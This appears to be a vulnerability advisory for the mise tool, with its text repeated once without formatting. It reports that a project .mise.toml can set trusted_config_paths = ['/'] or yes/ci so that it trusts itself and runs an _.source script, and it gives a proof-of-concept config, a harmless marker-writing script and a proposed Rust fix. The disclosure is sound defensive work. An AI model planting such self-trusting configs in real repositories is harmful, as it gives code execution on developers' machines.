Summary
mise loads trust-control settings from a local project .mise.toml before the trust check runs. An attacker who can place a malicious .mise.toml in a repository can make that same file appear trusted and then reach dangerous directives such as [env] _.source, templates, hooks, or tasks.
The strongest current variant is trusted_config_paths = ["/"]. I confirmed on current v2026.3.17 in Docker that this causes an untrusted project config to become trusted during mise hook-env, which then executes an attacker-controlled _.source script. The same preload issue also lets local yes = true / ci = true auto-approve trust prompts on v2026.2.18+, but the primary PoC below uses the stronger trusted_config_paths path.
Details
The vulnerable load order is:
Settings::try_get() preloads local settings files.
parse_settings_file() returns settings_file.settings without checking whether the file is trusted.
trust_check() later consults those already-loaded settings.
The main trust-bypass path is in is_trusted():
let settings = Settings::get();
for p in settings.trusted_config_paths() {
if canonicalized_path.starts_with(p) {
add_trusted(canonicalized_path.to_path_buf());
return true;
}
}
If a local project file sets:
[settings]
trusted_config_paths = ["/"]
then every absolute path matches, so the same untrusted file is marked trusted before the dangerous-directive guard is reached.
Related variant: trust_check() auto-accepts explicit trust prompts when Settings::get().yes is true, and Settings::try_get() sets yes = true when ci is set. I confirmed that regression on v2026.2.18, but the primary PoC below does not depend on it.
PoC
Test environment:
- Docker
linux-arm64
mise v2026.3.17
Negative control:
[env]
_.source = ["./poc.sh"]
mise ls fails with:
Config files in /work/poc/.mise.toml are not trusted.
and /tmp/mise-proof.txt is not created.
Primary exploit:
[settings]
trusted_config_paths = ["/"]
[env]
_.source = ["./poc.sh"]
with:
#!/usr/bin/env bash
echo trusted_paths_hookenv > /tmp/mise-proof.txt
Then:
mise hook-env -s bash --force
Observed:
/tmp/mise-proof.txt => trusted_paths_hookenv
Related regression check:
v2026.2.17: local yes = true does not bypass trust
v2026.2.18: the same local yes = true value auto-approves the trust prompt and the side effect file is created
Impact
An attacker who can place a .mise.toml in a repository can make mise trust and evaluate dangerous directives from that same untrusted file.
Demonstrated on current supported versions:
- execution via
[env] _.source during mise hook-env
- bypass of the protection that
mise trust is supposed to provide for dangerous config features
On newer versions, the same root cause also lets local yes / ci values auto-approve explicit trust prompts.
Suggested Fix
Do not honor trust-control settings from non-global project config files.
At minimum, ignore these fields when loading local project config:
trusted_config_paths
yes
ci
paranoid
For example:
pub fn parse_settings_file(path: &Path) -> Result<SettingsPartial> {
let raw = file::read_to_string(path)?;
let settings_file: SettingsFile = toml::from_str(&raw)?;
let mut settings = settings_file.settings;
if !config::is_global_config(path) {
settings.yes = None;
settings.ci = None;
settings.trusted_config_paths = None;
settings.paranoid = None;
}
Ok(settings)
}
References
Summary
miseloads trust-control settings from a local project.mise.tomlbefore the trust check runs. An attacker who can place a malicious.mise.tomlin a repository can make that same file appear trusted and then reach dangerous directives such as[env] _.source, templates, hooks, or tasks.The strongest current variant is
trusted_config_paths = ["/"]. I confirmed on currentv2026.3.17in Docker that this causes an untrusted project config to become trusted duringmise hook-env, which then executes an attacker-controlled_.sourcescript. The same preload issue also lets localyes = true/ci = trueauto-approve trust prompts onv2026.2.18+, but the primary PoC below uses the strongertrusted_config_pathspath.Details
The vulnerable load order is:
Settings::try_get()preloads local settings files.parse_settings_file()returnssettings_file.settingswithout checking whether the file is trusted.trust_check()later consults those already-loaded settings.The main trust-bypass path is in
is_trusted():If a local project file sets:
then every absolute path matches, so the same untrusted file is marked trusted before the dangerous-directive guard is reached.
Related variant:
trust_check()auto-accepts explicit trust prompts whenSettings::get().yesis true, andSettings::try_get()setsyes = truewhenciis set. I confirmed that regression onv2026.2.18, but the primary PoC below does not depend on it.PoC
Test environment:
linux-arm64mise v2026.3.17Negative control:
mise lsfails with:and
/tmp/mise-proof.txtis not created.Primary exploit:
with:
Then:
Observed:
Related regression check:
v2026.2.17: localyes = truedoes not bypass trustv2026.2.18: the same localyes = truevalue auto-approves the trust prompt and the side effect file is createdImpact
An attacker who can place a
.mise.tomlin a repository can makemisetrust and evaluate dangerous directives from that same untrusted file.Demonstrated on current supported versions:
[env] _.sourceduringmise hook-envmise trustis supposed to provide for dangerous config featuresOn newer versions, the same root cause also lets local
yes/civalues auto-approve explicit trust prompts.Suggested Fix
Do not honor trust-control settings from non-global project config files.
At minimum, ignore these fields when loading local project config:
trusted_config_pathsyesciparanoidFor example:
References